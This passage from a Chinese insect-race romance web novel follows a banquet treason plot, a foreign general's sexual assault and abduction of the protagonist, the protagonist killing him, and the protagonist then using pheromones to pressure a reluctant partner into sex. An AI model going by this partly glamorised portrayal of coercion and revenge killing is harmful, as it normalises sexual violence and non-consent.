江林唇角扯着意味不明的笑容,望着少年固执的眼神,并未说话。 “金斯利阁下!”伏恩看向江林,语气很着急:“乔治自从上次被你标记之后,精神状态一直不算清醒,说的话是当不得真的” 乔治打断哥哥伏恩的话:“我是认真的!哥哥我是认真的!!” “你认真个屁。”伏恩拧着眉,低声呵斥道。 江林嗤笑一声:“你们哥俩要吵架,能不能滚出去吵啊。” “把他们扔出去。” 雄虫的命令一下,从四面涌来的雌虫,作势要把他们带走,伏恩拽着乔治的胳膊,沉着脸和江林告别:“叨扰了阁下。” 江林没说话,冷漠地看着两虫离开,视线在乔治身上流转了一瞬,拿捏伏恩,似乎可以从他白痴弟弟下手啊。 /// “你真的疯了,你知道金斯利是什么虫吗?他手下有多少雌虫的亡魂,你有几条命啊?”伏恩是迫于帝国的匹配,没有办法屈服于雄虫的淫威,曾经饱受他的折辱。 明明之前弟弟也很讨厌他的,为什么突然变成这样了? “哥哥,他很好,很温柔的,精神抚慰让我觉得是全世界最幸福的虫,我愿意让他掌控我”乔治脸上带着幸福的神情,“就算他让我死,我也愿意啊!” 伏恩一拳揍在他脸上,咬牙切齿地说道:“你这是受到了标记影响!不要再说胡话了!” 标记会影响雌虫的思维和意识,这也是雄虫保护自己的一个手段,通过影响雌虫的激素和意识,获得雌虫的喜欢。 但这可能只是一种假象而已。 乔治脑域还未发育成熟便被雄虫标记了,其影响只会更深更严重。 乔治挨了一拳,顿时不说话了,整个人变得阴沉下来。伏恩捏了捏拳,眼底闪烁着心疼,但最后什么都没说。 /// “哥哥,你怎么来了?”江林正在军部疏导室工作,亚斯出现在他的疏导室内。 “来找你疏导精神污染。”亚斯笑着说道,坐在他的桌前,看着桌上的游戏手柄,雄虫过得很悠闲啊。 “哥哥怎么了?”江林露出一点关心的神色。 “从战场下来,难免会受到一些精神污染,没什么大事,看看金斯利方不方便给哥哥治疗一下。”亚斯眉眼温润含笑,就算雄虫拒绝他也不会生气。 帝国雄虫数量稀少,就算战功赫赫的亚斯,也没有匹配的雄虫,从前都是服用精神治愈剂,治标不治本,现在有了军部疏导室,到底还是他们这些雌虫受益了。 “如果是哥哥的话,我就方便,别的雌虫就不行。”江林理所当然地说道,主动走到亚斯面前,牵起他的手掌。 亚斯握了握雄虫修长纤细的手指,肌肤很柔软,似乎从来没有受过伤,宛如握着棉花般,弟弟的精神意识触须进入了他的身体,四肢下意识地僵硬起来。 从来没有过的感受,他的脸上的笑容也出现丝丝僵硬,感受到亚斯的不自然,江林微笑着轻轻捏了捏他的手指。 亚斯冷静下来,放开自己的精神防御,感受弟弟的抚慰。 江林看见了一片被污染的冰川,黑色污水在不断地蚕食的冰川,中度的精神污染,冰川断裂成一块一块的,然后不断被消融毁灭,情况不容乐观。 在江林的疏导下,冰川变得越发坚硬,原本消融之势停止,变得更加冰冷坚固 江林被哥哥抱入怀中,两人安静地拥抱着。 弟弟呼吸洒在亚斯的颈侧,浑身战栗着,那种从头皮不断扩散的酥麻感,紧绷的精神力也犹如进入大海的轻松自在,越是轻松,便下意识地越发抱紧怀中的雄虫。 “哥哥”江林气息有些喘,手指也在轻轻发抖,抓着他的军装外套,精神力仿佛透支了一般,精神疏导是一件极为私密且亲近的行为。 “金斯利。”亚斯摸着他的后脑勺,柔软的发丝:“够了,不要再给我更多了,你的身体承受不住。” 江林从亚斯怀中离开,双臂撑在他膝盖上,弯腰看着眼前蓝眼雌虫,双眼专注地看着他,说话有些轻带着得意的笑意:“我刚刚进入了哥哥的身体。” 亚斯脸上的温柔的笑意有瞬间的停滞,他比金斯利大了二十岁,自然懂得比他更多,下意识地往暧昧的地方想,但又觉得金斯利不会调戏身为亲哥哥的他,便只觉得自己太敏感了。 “是啊,金斯利变得好厉害。”他顺着他的话,笑着夸赞。 江林眨了眨眼,温柔又强大的雌虫,在金斯利面前展现得无限宠溺,就算犯错也不忍责怪。 他岔开腿,像小时候一般,跨坐在哥哥腿上。 亚斯一怔,还是伸手扶住弟弟的腰,“怎么了,金斯利。” “有点累了,哥哥。”江林埋在他肩膀蹭了蹭,像只慵懒撒娇的小猫。 “如果你不喜欢这份工作,我可以替你辞掉。”亚斯顺着他后颈捏了捏,缓解他的疲惫,“你不需要这么辛苦,我会给你想要的一切。” “嗯啊。”江林呻吟一声,让亚斯的动作都愣住了,接着他听着弟弟黏糊又性感地声音说道:“哥哥,你摸我这里,我会发/情的” “”亚斯手指顿住,手指不敢动了,低声道歉:“抱歉金斯利,我并不是故意的。” “是故意的也没关系。”江林这话是在亚斯耳畔说着,呼出的热气洒在他耳廓,带来阵阵湿热的气息,“很舒服,哥哥” 亚斯却不敢再继续摸下去了,有些欲盖弥彰的转移话题:“托马斯家族来向我谈你的婚事,希望你能娶他们家的孩子——乔治·托马斯。” “他们说他因为你自杀了,不过被他救了下来,没真的死掉。” 江林怔了怔,而后有些烦躁了,“不会哥哥也想让我和这种虫成婚吧,我最讨厌自杀懦弱的雌虫了,乔治来找过我,但我不喜欢他,我也不想娶他。” “他自杀关我什么事儿?是我让他自杀的吗?” 亚斯听出他语气中的不悦,连忙摸了摸他的背,安抚道:“我当然不会逼你,只是告诉你有这件事情。我怎么会擅自替你答应这种事情呢。” “毛都没长齐的虫崽”江林嘟囔着,从亚斯腿上下去,拧着眉似乎有些不满。 “谁会喜欢啊?” 亚斯便笑:“那金斯利喜欢什么样的雌虫,哥哥替你物色一下?” “我啊,喜欢年纪大的,像哥哥一样对我好的。”江林脸上露出一点活泼狡黠之色:“最好比我大二十二岁的。” 雌虫的寿命若是不出意外都有两百年之久,所以四十多岁并不算大。 “别开玩笑了,金斯利,像我们这样的雌虫有什么好的?样貌不如年轻雌虫好看,精神力也处于衰败期”亚斯觉得弟弟在哄自己开心,这个年纪的雌虫已经出入污染区战场多次,大多精神力都被侵染严重,处于恶化也称为衰败期。 “哥哥不信就算了。”江林也不继续争辩,倚在桌沿,姿态懒散,望向亚斯的眼神却是直勾勾的。 那样耀眼灼热的视线,居然让亚斯有些不敢直视,他站起身来,原本想要再摸摸弟弟的脑袋,最后却有些不敢伸手,只是道别:“金斯利我该回去训练部下了你不喜欢做的事情,我不会逼迫你的。” “好的,哥哥。以后脑域精神力污染记得来找我,我很厉害的。”江林骄傲地昂起脑袋:“比隔壁的还厉害。” “好。”亚斯海蓝色的眼睛盛满了笑意。 转身离开疏导室,亚斯脸上的笑容缓慢地消失,垂眼看着自己的手指,刚刚拂过弟弟的后颈的软肉,身体有某一刻的反应是骗不了自己的。 他居然如此禽兽,对自己的弟弟产生了瞬间的欲望。 亚斯紧紧握住自己的拳头,为自己的荒唐的念头而感到自责。 这会吓到金斯利的。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 110-120 第111章 宫廷宴会, 灯火通明,热闹非凡。 星球之间,除了塞纳帝国之外, 还有很多虫族国家,这次宴会的由来是, 塞纳帝国和尤纳斯帝国的雄虫们共同剿灭来了S级污染区污染物,这算是庆功宴,邀请了不少尤纳斯帝国的军雌们。 凡是塞纳帝国有头有脸的虫都出席了宴会, 江林觉得尤纳斯这三个字颇为耳熟,翻找出记忆, 之后他被冤枉叛国,勾结的外邦就是尤纳斯帝国。 当时他甚至没有和尤纳斯帝国任何一只虫有过联系,却自顾自的被扣下这个帽子。 叛国是大罪,虽然现在塞纳帝国和尤纳斯帝国看起来其乐融融,但是在几十年前,两方可是不死不休的仇敌, 战争中战死了不少英雄和勇士。 明面上其乐融融, 但实则暗流涌动。 江林身边簇拥着雄虫, 而丹身边则是那些被他疏导过的雌虫,他笑容很谦和显得极为温柔, 被雌虫们用暗藏欲望的眼神注视着, 他却像是毫无所察。 “金斯利阁下,你看起来好像不太开心。”杰里也在这次的邀请之中,跟随自己的雌君来的。 “没有啊。”江林不知道这次宴会会发生什么, 毕竟原剧情中的金斯利现在还在关禁闭呢。 虫帝坐在高阶阶梯的王座上,脸上带着温和又威严的笑容,底下都是一些位高权重的重臣以及他国的雌虫。 像他们这群被雌虫捧得找不着北的雄虫, 则连进入中心位置的权力都没有。 这也算是雌虫的一种驯化,毕竟百年前雄虫的位置更低,就是被圈养的小白兔。 对于雄虫而言,身边充满了虚假的繁荣,糊住了双眼,所以沦陷的无知无觉,还自以为自己才是高高在上的那位。 江林却没准备改变什么,他只是一个过客,没有能力改变这畸形的社会。 他正在发呆,不知道何时,所有的目光都落在了自己身上,等他回神的时候,两个高阶军雌已经出现在他眼前,两边开道,邀请他前往虫帝所在的区域。 江林镇定自若,打扮的贵气精致,胸前系着海洋之心蓝宝石,手腕的袖口也镶嵌着价值不菲的宝石,他像是花团锦簇中最明艳的花。 “虫帝。”他颔首行礼,在众多高大雌虫中间,他身高显得极其可怜,身量和显得单薄,却气场强大,根本没有任何的害怕。 他看见了不少熟人,伏恩、格雷西、诺里斯以及那天看见的乔伊斯都赫然在这一圈雌虫之中。 但神色各异,丰富多彩,伏恩因为弟弟的所作所为看向江林的眼神很复杂,还参杂了点恨意,若不是江林,他弟弟也不会这么理智全无。 “赛皮尔,他就是金斯利。”虫帝微笑朝着一位穿着暴露的雌虫说道。 江林的眼神朝着那只虫看去,入眼一双侵略性极强的金色眸子,暴露着自己古铜色的胸肌,军装都是v领的,不似塞纳帝国的军雌,连扣子都系到了最上那一颗。 “久闻金斯利阁下大名,如今一见,果然名不虚传,样貌之美,的确罕见。”赛皮尔似笑非笑的看着江林。 他的眼神让江林有些不舒服,就像是在看什么有趣的玩具,不带半点尊重的意味。 江林没说话,只是微微扬起下颌,似不屑和这种雌虫说话。 众虫对他的反应也是习以为常,毕竟金斯利平时就是这副鼻孔朝天的姿态。 虫帝和江林解释道:“这是尤纳斯帝国的赛皮尔上将,这次S级污染区战役中和我们的战士配合默契,同时剿灭了污染物” 江林这才勉强露出一点笑容:“原来是尤纳斯的上将。” 便又没了后续。 他的不礼貌和不客气一视同仁。 虫帝倒也没有表示出任何的不悦,看向皮塞尔:“雄虫一向尊贵,若是冒犯了,也只能请你们多担待了。” 江林也借口离开,不愿称为众多雌虫中的猎物和谈资。 皮塞尔望着江林远去的背影,眼眸深深。 他旁边的副将道:“塞纳的雄虫这般无礼嚣张,若是在尤纳斯,早就□□死了吧。” “也是,这只雄虫的样貌的确美丽,没在尤纳斯着实可惜了。” 皮塞尔挑了挑眉,“没在尤纳斯帝国又怎么样?” 尤纳斯的雄虫他嫌弃长得丑,这位倒是很漂亮啊。 在尤纳斯帝国,雄虫地位低,不愿屈服的雄虫都会被折磨致死,所以也导致他们的出生率极低,百年后面临着亡国的危险,但就算这样,尤纳斯的雌虫也不甘心臣服于雄虫,依旧把他们当成工具虫。 所以他们看向江林的眼神毫无尊重,只有掠夺。 /// 宴席上,宾客如云,耳目众多,却又无法涵盖所有虫,暗中护卫纷纷保护在虫帝周围,对其他虫便多有疏忽了。 江林喝了不少酒,在虫侍的指引下来花园透透气,四下安静,与宫殿内的热闹不同,耳边的声音都安静下来。 虫侍在他旁边伺候,“阁下,需不需要奴给你端些点心瓜果来?” 江林闻着花香,浮躁的心情轻松了些,嫌弃虫侍吵,便让他先离开了。 游廊都有壁灯,四通八达,光线并不昏暗,时不时也有虫侍走过,他看着花丛中闪烁的东西,还时不时有东西在翻动的声音,花枝微颤。 江林便走近了些看,只见一只纯白的野猫,刚刚黑暗中闪烁的亮点就是他的眼睛。 他拧着眉,原本想要去抓它,结果它瘸着一只脚,身上还在流血,肚子上还横插着一根羽箭,它也不吵不闹,只是往前逃窜,血流的更多了。 江林追着他到了一处假山处,突然听见熟悉又模糊的声音说话,连说话的主角,他都无比熟悉。 白猫见他不追了,也停了下来,舔舐着自己的伤口。 “金斯利就是我今天看见的那只雄虫?”男生低磁,有些陌生。 另外的男声更加清脆些,江林脑海中响起一个人乔伊斯:“对,事成之后,你要求的交换的资源和矿场,我们家族都会提供。” “我还有一个要求啊。”这声音再次响起,江林便依稀肯定了,这人就是今天宴会上的皮塞尔。 “那只雄虫也归我吧,我偷偷把他带离塞纳怎么样?” 所以原著中的金斯利并没有叛国,而是乔伊斯为了铲除金斯利,而设下的计谋。 “他是个祸害,性情残暴血腥,以虐待雌虫为乐趣”乔伊斯冷淡地说着。 “我们尤纳斯帝国的雌虫就喜欢操这种雄虫。”皮塞尔认为他们说喜欢操雄虫没有一点毛病,毕竟雄虫就算在床上也毫无招架之力啊,只能供他们为所欲为。 乔伊斯似乎有些嫌弃,但勉强答应下来:“可以,但他不能让他有机会再回到这里。” “当然啦” 江林正在聚精会神的听墙角,突然腰上被一只手臂环住,他顿时一惊,天灵盖差点掀起来了,下颌被一只大手抓住,刚刚还在不远处花丛边说话的雌虫此刻却到了他的身后。 皮塞尔贴着他的耳廓,伸出舌头舔了舔他的耳垂,低声笑道:“小雄虫你不会以为自己的脚步声很轻,躲得很好吧?” 江林瞪圆了双眼,抬手要去推开身后的人,抬眼就看见黑暗中站着的乔伊斯,他大半张脸都在阴影下,双眼带着丝丝杀意和凉意。 “你们”他倒吸一口凉气,没想到还能被当事虫发现,他想要推开身后的人,但皮塞尔却像是发情的狗,舔遍了他的整个耳朵,舌头伸进他的耳廓里,一阵痒意袭来。 “你快放开我!”江林恼怒道,手肘狠狠往身后怼去,但是于事无补,雄虫的力量在雌虫眼里几乎微不足道。 “乔伊斯!你敢!”江林不光身后正在被侵略,前面的乔伊斯已经拿出了匕首朝着他走近,而皮塞尔的手甚至直接伸进了他裤子里。 “我操!”他忍不住爆粗口,还从未遇到过这种令人崩溃的情况,他死死的捏住皮塞尔的手,双眼却直直看向眼前的雌虫。 “我今天死了,你觉得你能脱得了干系吗?一只A级雄虫莫名其妙的死了,你觉得虫帝不会追究吗?还是你以为我对于希尔家族来说无足轻重?”他根本控制不住身后的雌虫,后颈的某个敏感部位被含进嘴里,重重地吸吮着,仿佛他现在面临的杀身之祸对他来说只是一种情绪。 江林控制不住的喘了一声,面容凶狠:“乔伊斯,我哥哥也不会放过你的!” 眼前的雌虫真的恨死了他,他真的会杀了他,从头到尾他都是计划弄死他的主谋! 乔伊斯的刀锋已经落在雄虫脖颈上,剑锋距离他的肌肤只有分毫之差,“我觉得我会怕他?” 江林被身后的雌虫舔的有些难受,但眼前面临的危险又让他浑身僵硬,竖起了十分的警惕,后背都冒出了冷汗。 “你不怕他,你身后的家族也不怕吗?你确定要这么正大光明的杀死我吗?”江林拳头捏紧,身后雌虫轻蹭他的腿:“操!你是狗吗?别你大爷的蹭了!” 他没忍住,对着皮塞尔怒声骂道。 皮塞尔含着江林的后颈狠狠吸了一口,才松开,舔着他有些香的脖子,看向眼前的乔伊斯:“别吓唬他了,他真的死在这里,我们谁都无法交代。” 江林浑身颤了颤,额前冒出细汗,瞪着乔伊斯,第一次觉得好奇害死猫这句话一点错也没有,还以为自己做得很隐秘,把其他人当成傻子了! “但如果我在这里操了他,其他人只会觉得是一桩风流事儿。”皮塞尔捏着雄虫的下巴,食指探入他的口中,想要玩玩他的舌头,结果被江林死死咬住,力气之大恨不得咬断他的手指,但最后只是被轻轻一拨,他就不得不张开嘴。 皮塞尔把站着雄虫的手指在他白皙的脸上擦了擦:“你也别这么紧张,一只雄虫的一面之词,谁会信呢?他就算举报到虫帝那里也没有用的” 乔伊斯收起匕首,眼神冷漠,看着皮塞尔兴奋的双眼,只觉得恶心:“你好自为之,小心被野猫咬了舌头。” 皮塞尔从江林的衣摆下探入,轻轻抚摸着柔软的肌肤,笑着邀请道:“你不一起吗?” “你自己玩吧。”乔伊斯转身离开假山。 皮塞尔见他离开,在江林脸上亲了亲,感受着他放松下来的身体,低声道:“该怎么谢谢我救下你呢?小雄虫,等下顶我的时候用力一点好不好?” 江林咬牙:“滚。” 第112章 寂静的黑夜, 风拂面,月无声。虫侍走动的声音显得明显,窸窸窣窣, 脚步声很快,来去匆匆。 江林嘴被皮塞尔的手捂住, 耳边是他压低的声音:“我不杀你,却不怕杀几只虫侍……你求救也是无用的,金斯利……阁下。” 皮塞尔没有过自己的雄虫, 原本只是想要戏弄一下眼前高高在上的雄虫,可没想到事情发生后, 便显得逐渐不可收拾。 他知道该怎么让雄虫陷入发情期,他不断嘬吮刺激着江林的后颈,想让他和自己一起沉沦,江林眯了眯眼,眼中有生理眼泪闪烁着,呼吸逐渐沉重和湿润, 身体似乎在发软。 皮塞尔伸手摸了摸江林, 察觉到他的失控后, 才满意地松开手,抱着他腰, 似乎就想在花园中和雄虫厮混。 “塞纳帝国的雄虫都和你一样香软吗?”皮塞尔咬住他的嘴唇, 含糊地问道。 江林呼吸很不稳,手按在他腰上,仿佛在配合他的抚摸, 情难自控的动作般,但他的双眼却极为冷静,衣襟被雌虫扯开, 身体暴露在冷空气中。 “你们尤纳斯帝国的雌虫都这么恶心吗?”江林脖颈微微扬起,雌虫抱着他的臀,将他托起来,吻着他的下颌。 “呵。”皮塞尔冷哼一声。 下一瞬,寒光闪过,江林从腰间拿出匕首,朝着皮塞尔颈侧命脉狠狠刺过去,如果皮塞尔不躲,势必会死在这里。 他松开雄虫,朝他着旁边闪躲一瞬,江林的刀锋朝着扎去,刀刃埋入皮塞尔胸口。 雌虫抽吸一声,一把拧住江林的手腕,迫使他松手,江林手腕传来剧痛,他咬牙忍着疼。 “你居然还有力气反抗?你不怕你们虫帝怪罪,成为两国开战的导火线吗?”皮塞尔对于胸口的疼无知无觉般,只是掐着江林的脖子按在假山上。 “你这种低贱恶心的雌虫,有什么资格让我屈服?我宁愿死啊……”江林呼出一口气,低声笑着,“你有种就杀了我,我还能高看你一眼,如果是用暴力让我屈从的雌虫,到底有什么资格在我面前叫嚣呢?” “虫神赐予雌虫天生的力量,是让雌虫来强/暴雄虫的吗?” 皮塞尔微微一静,这话有些戳心窝子了,雌虫的力量是用来守护国家,保护领土,是至高无上的。 “我们雌虫在外面清除污染区,危险重重,稍有不慎就会丢掉性命,但你们雄虫呢,享受着帝国和雌虫的庇护,还要摆出上位者姿态,到底是凭什么?”皮塞尔朝着江林靠近,江林抬手摸到了一片湿濡的血迹,他感觉到雌虫洒在他侧脸的炙热呼吸,“所以雄虫付出的代价就应该是供雄虫享乐……” “去你丫的!”江林摸到了匕首,狠狠拧了一下,然后一气呵成地踹向皮塞尔,脖子上的有一瞬间的松懈,他转身就跑,看见了走廊的点点光亮,双眼微微放大,似乎看见了希望的曙光。 从身后黑暗中的大手狠狠环住他的腰,将他重新拖入黑暗中,江林大喊一声:“伏恩!” 伏恩原本就是来找江林谈弟弟的相关事宜,又需要他的精神疏导了…… 刚找了一圈没人,就听见了熟悉的声音,他下意识地朝着发出声音的地方看去,却空无一虫,他觉得不对劲,快步朝着假山走去,黑暗阴影中,四处安静无声。 好似刚刚他听到的呼喊都是幻觉,他拧眉朝着四周看了看,地上有掉落的物件,他捡起来一看,是那颗江林今天佩戴的海洋之心…… 伏恩脸色一凝,寻着蛛丝马迹,朝着前面寻去,他忍不住心中惊骇,到底是谁敢在宫廷内做出绑架雄虫的事情? “嗯!”江林咬住唇,嘴巴被黑色的绷带绑住了,狠狠勒住他的唇,让他说不出话,只能死死瞪着眼前的雌虫。 两人躲在一处无人的寝殿内,皮塞尔胸口的血淌在雄虫袒露的腹部,红白之色刺眼,温热的血液落在江林胸前变得冰冷黏糊。 他只是简单擦拭一下伤口,垂眼看着被他绑住双手的雄虫,他露出皎白漂亮的身体,衣服都被他撕碎了。 “你想让人看见你发/情失控的样子吗?也可以等等看,是我先得手,还是你先找到帮手救你。”皮塞尔舔了舔唇,看向江林的眼神越发饶有兴趣。 江林捏住自己的拳头,用力挣扎,在皮塞尔拽掉他裤子的瞬间,主动伸出自己的精神意识触须钻进皮塞尔的精神脑域,成功让皮塞尔的动作顿住了。 “你这是在讨好我吗?”皮塞尔怔了怔,高级雄虫的精神疏导让他觉得身心俱爽,那股从天灵盖窜起来的爽意。 雄虫的精神攻击性几乎为零,所以他只是在拖延时间,皮塞尔虽然知道他在拖延,却舍不得这样舒服的精神疏导。 在尤纳斯帝国很少会有雄虫对雌虫进行精神疏导,纷纷吝啬着自己的能力。 江林口中的布料被打湿,舌根发痛,后颈隐隐发热,但却尽量控制了自己的信息素,不去影响眼前的虫。 发狂的雌虫只会更加没有理智。 …… 等伏恩察觉到不对劲,同时嗅到不同寻常的味道,视线看向紧闭的房门,华丽的宫殿,耳聪目明的雌虫,听到了沉重的喘息声。 他几乎是下意识地踹开了门,朝着里面看去,衣衫不整的雌虫和雄虫,两虫正在接吻,江林透过皮塞尔看向伏恩,眼底浮动着水光。 “你们在干什么?!”伏恩连忙上前,从身后锁住雌虫的脖子,皮塞尔不是吃素的,灵活地躲闪开,两虫拳脚相加,纠缠在一起。 “我劝你最好不要坏了我的好事。”皮塞尔嚣张地说道。 伏恩眼神掠过他胸前的伤口,眼神冷淡,提低声呵斥:“你要撒野滚回你的有尤纳斯!” 江林坐起身来,看着缠斗在一起的两只雌虫,眼底闪烁着冷意,伏恩狠狠一脚踹在他胸前伤口上,皮塞尔不敢放开手脚,怕引来更多的人,毕竟自己不占理。 伏恩却不怕,所以毫不留手,最终皮塞尔被伏恩压制住,皮塞尔料定了伏恩不敢对自己怎么样,就算被绑也没有挣扎。 “金斯利阁下,你受惊了。”伏恩低头不敢看眼前的雄虫,解开他的绳索和口中的布条,给他披上了自己的披风。 江林脸色很冷,没管自己暴露在空气中的肌肤,直直朝着皮塞尔走去。 皮塞尔有恃无恐的笑着,视线大剌剌的往他身上看着,口中还在嚣张地说道:“金斯利,雄虫就是该被狠狠玩弄的啊……” “是吗?”江林的脸颊、眼下都浮动着潮红,唇角勾起轻笑,他面无表情地抽出皮塞尔腰上的刀,几乎没有给虫反应的时间,朝着他的脖子砍去! 与此同时,江林的脑海中传来系统的尖锐爆鸣声,吵得他耳膜都发疼了。 “金斯利!”伏恩想要阻止却来不及了,从身后伸手抓住江林的胳膊。 皮塞尔瞪大双眼,甚至来不及再多说出一句话。 “你……”伏恩一怔,脑海中猛地炸开无措,他根本没想到雄虫这般不计后果:“他是尤纳斯帝国的中将……” 江林死死抓住刀柄,直到确定眼前的雌虫死去,他摸了摸脸上的血,双眼凶狠发亮,露出满意的笑容:“不管他是谁,他今天都必须要死。” “……”伏恩见雄虫身形晃动,下意识伸手扶住他的肩膀,心中被他的狠戾果决弄得有些心慌,若是追究起来,他也算帮凶。 江林抱着伏恩的腰,身体状况不容乐观,“现在带我去找虫帝。” 皮塞尔的尸体躺在冰冷的地上,黑暗中门被关上,成为了他最瞧不起雄虫的刀下亡魂。 /// 虫帝前脚收到皮塞尔惨死的消息,后脚江林便跪在了自己面前,他双爪撑在地上,低着脑袋,声音似乎带着哭腔:“虫帝有人要杀我……” 他垂着脑袋,在地上跪着,看起来小小一团,露出的后颈带着红肿的牙印,可怜极了。 伏恩也跪在地上,垂眼刚好能够瞧见他红肿的后颈,浑身因为江林的信息素影响而有些不对劲。 虫帝自然也察觉到了这个不对劲。 “皮塞尔想要睡我,我不答应,他就恼羞成怒要杀我泄愤,还好伏恩及时赶到,才让我免于一死,虫帝,您一定要救救我……” 虫帝揉了揉眉心,真相是什么已经不重要了,虫已经死了,难道还要他的虫崽给其他国的雌虫偿命吗? 怎么可能? 若是皮塞尔还活着,也许他还会动一些其他心思,但现在人都死了,他就完全只会站在本国的利益和自己虫崽这边考虑了。 这也是江林一定要杀死皮塞尔的原因。 “好了,我会查明真相的,你现在身体状况不太好,先让虫侍带你去偏殿休息。”虫帝声音温和,随后看向伏恩:“伏恩,你陪着金斯利一起去。” 言下之意,不言而喻。 伏恩见状,连忙拒绝:“虫帝,我和金斯利阁下……” “我知道,平时金斯利性格凶蛮一些,但他本性不坏。”虫帝打断他的话,也只有他能说得出金斯利的本性不坏这件事。 虫帝知道伏恩的弟弟乔治喜欢江林,但是对于那乳臭未干的小虫崽,他明显瞧不上,他更中意伏恩,他才是能帮到虫崽的虫。 “……是,虫帝。”伏恩扶起在挣扎之际脱离的江林,步履有些沉重,眼睫缓缓垂下。 江林手上还有血,脑海中却在头脑风暴,伏恩能出手救他,就代表要么乔伊斯还没来得及和他们通气,要么就是当初这件事其他虫并没有参与。 还有一种可能,就是乔伊斯现在并不相信其他人。 一开始,他们的计划只是想要江林永远地关禁闭,后来他们在发现虫帝和江林的关系后,便想要反了虫帝,从新贵族中重新推举一位虫帝。 江林看向伏恩紧绷的侧脸,轻笑一声问道:“听我哥哥说,你们家想把乔治送给我当雌君?” 伏恩闻言偏头看向雄虫的侧脸,看着那双眼睛,就想到那把斩断雌虫气管的刀,“乔治他很喜欢你……” “但是我更喜欢哥哥怎么办?”江林弯了弯眼睛,仿佛之前求助的虚弱都是假的,唇角又划过一丝姿态高傲又恶劣的笑容。 伏恩:“……” 示弱的雄虫只是假象,眼前的他才是最真实的。 第113章 夜深, 天空被雨幕沁染,淅淅沥沥的雨一颗颗坠落,逐渐倾盆, 绿叶花枝被打弯了枝叶,两人的影子在桥廊上拉长, 两虫身后跟着保护安全的虫卫。 伏恩心脏狠狠跳动了几瞬,不是心动,而是下意识敬而远之的害怕, 若是说雄虫喜欢中意他这种可能,他是不相信的。 可能其他雄虫会喜欢上雌虫, 但眼前的雄虫绝不可能,甚至就在他刚刚,他还毫不犹豫地斩杀了一只雌虫,眼都不眨一下。 伏恩的肩背开始隐隐作痛,那是被生生剖出翅翼的疼,他记忆犹新, 不敢忘怀, 眼前还是闪烁着乔治殷殷期盼的眼神, 他更加觉得心焦难受。 江林后颈滚烫一片,强行压制身体的本能, 让原本沸腾的身体, 反扑得更加厉害,来势汹汹,几乎让血管中的血液蒸腾, 喉咙一阵干涩。 终点到了,虫族守卫穿着银色的盔甲,来势汹汹, 双眼冰冷,打了特定的封闭针,能够对于雄虫的信息素屏蔽,这种针极伤身体,却是宫廷中每个守卫必须注射的针剂。 伏恩扫过虫卫的眼神,从动作和眼神中看出了含义,他们也是监督伏恩的虫。 门缓缓关上,江林再也控制不住自己扩散的信息素,向着四周以极强的速度蔓延开来,伏恩被一股湿热的气息包裹着,他往后退了两步,背抵在门上。 江林扯掉了他的披风,衣领被扯坏,露出有些斑驳的锁骨,他双颊浮动得潮红,双眼直勾勾地看着雌虫。 伏恩身上带着贵族的克制和温雅,只是对伤害他的金斯利保持着一份冷漠,但见到自己痛恨的雄虫被欺负,却也不会听之任之,还会出手相救。 所以他第一时间把披风给雄虫。 那是他教养中带着的温柔,他知道雄虫娇贵又柔弱,需要好好呵护着。 但眼前的雄虫却超乎了他的所有认知,他傲慢自负、残忍暴虐、心狠手辣,柔弱似乎放在他身上并不合适。 “伏恩,我不喜欢乔治。”江林却没有主动朝着伏恩靠近,尽管手指都因为身体的潮热而发颤,后颈烫得快要点着了。 他却像是静候的猎手,等着猎物的靠近,沉默中信息素在不断进犯着雌虫的自制力。 江林有些佩服伏恩的自制力了,上次的格雷西和哈珀就不如他。 “金斯利阁下,我无意和您结合,请你找别的虫好吗?”伏恩却并不好受,太阳穴的青筋鼓起,死死地咬着自己的唇,不管出于哪方面的原因,他都不想这么屈服。 江林不语,只是一味的加大信息素的干扰。 “够了!金斯利阁下”伏恩感觉有一只大手扼住了自己的喉咙,让他窒息绝望,身体却忍不住发/情高/潮,那是身体违背个人意志的沉沦。 空气中的信息素仿佛饮鸩止渴,他捂住自己的喉咙,喘息逐渐加重。 “伏恩,只要我想,没有雌虫能够拒绝我。”江林舔了舔有些干燥的唇,原本冷静的脸庞怔愣一瞬,他捂住脑袋,手撑在桌沿上。 脑海中系统的声音短而急促,尖锐地叫喊着:“警报警报!察觉到宿主的违规行为,我” 系统的声音戛然而止,几声嘈杂的声音在脑海中响起,归于平静,一道不同于机械的低沉男音说着:“经检测发现系统700存在违规行为,现已经进行处分和惩罚,以后将由我来接替你的工作,我的宿主——江林。” 江林一怔,对这个声音的主人有了猜测,身心一凌,只听见男音继续说道:“宿主杀死了需要攻略的对象,需要受到电击惩罚,希望宿主引以为戒,谨言慎行,认真完成任务,不要再继续任性妄为。” 话音落下,身体出现热潮以外,一股剧烈的疼痛从脚往上窜,他几乎站不住,摔倒在地上,身体蜷曲起来,双眼几乎失焦。 伏恩见雄虫突然摔在地上,连忙上前抱住他,察觉到他不断痉挛的身体,在抖动着,紧紧咬住牙齿,难受到脸色发白。 “金斯利!你怎么了?”他抱起他,想要将雄虫带出去,却被江林掐住了手腕,指甲陷入他的肉里,雄虫的双眼死死瞪着他,额前都是细密的汗珠,嘴唇被他自己咬出血痕。 “你到底怎么了?”伏恩拧着眉,看着情况不对的雄虫,他眉眼间全是痛苦和难受,却固执地没有发出一声痛呼。 时间不知道过去多久,每一秒都是煎熬,对伏恩,对江林都是一样。 江林等身体的痛楚褪去,整个人已经把衣裳全部打湿,他常常呼出一口气,骨头和肌肉都在发痛。 他咧了咧嘴,露出一个邪性的笑容,那瞬间他分不清现实和虚拟,因为他直接把对脑海中男音说的话,在伏恩面前说出口:“恶心的脏东西,是你吗?我闻到你令人作呕的味道了。” 伏恩一怔,看向雄虫脸色苍白却扯着笑容的表情,明明虚弱无比,却勾着冷淡桀骜的唇角,双眼充满汹涌的恨意,语气也是十足的嫌恶。 他下意识地觉得雄虫在骂自己,原本抱着他手臂的手指缓缓松开,主动开口:“抱歉,我并不是有意冒犯的” 这句话将江林从有些混沌的状态拉回来,他定定看向眼前的俊气雄虫,抬起有些酸麻的手抓住他胸前的领子,将伏恩拽下来。 伏恩几乎没想过反抗,下意识地就是低下头,唇被雄虫贴了贴,听见雄虫比刚刚更加温和的声音:“我不是骂你。” 他闻到了江林嘴边的血腥味,湿湿软软的唇,那股让虫失控的味道更加重了。 与此同时,江林没有收到脑海中男音的回答,他在自顾自地继续和他对话,这次没有说出口。 “你尽管多给我弄点像皮塞尔这样的人来恶心我,你有种就现在弄死我,否则他们绝对会死在我的刀下,我没心情陪你玩了。” 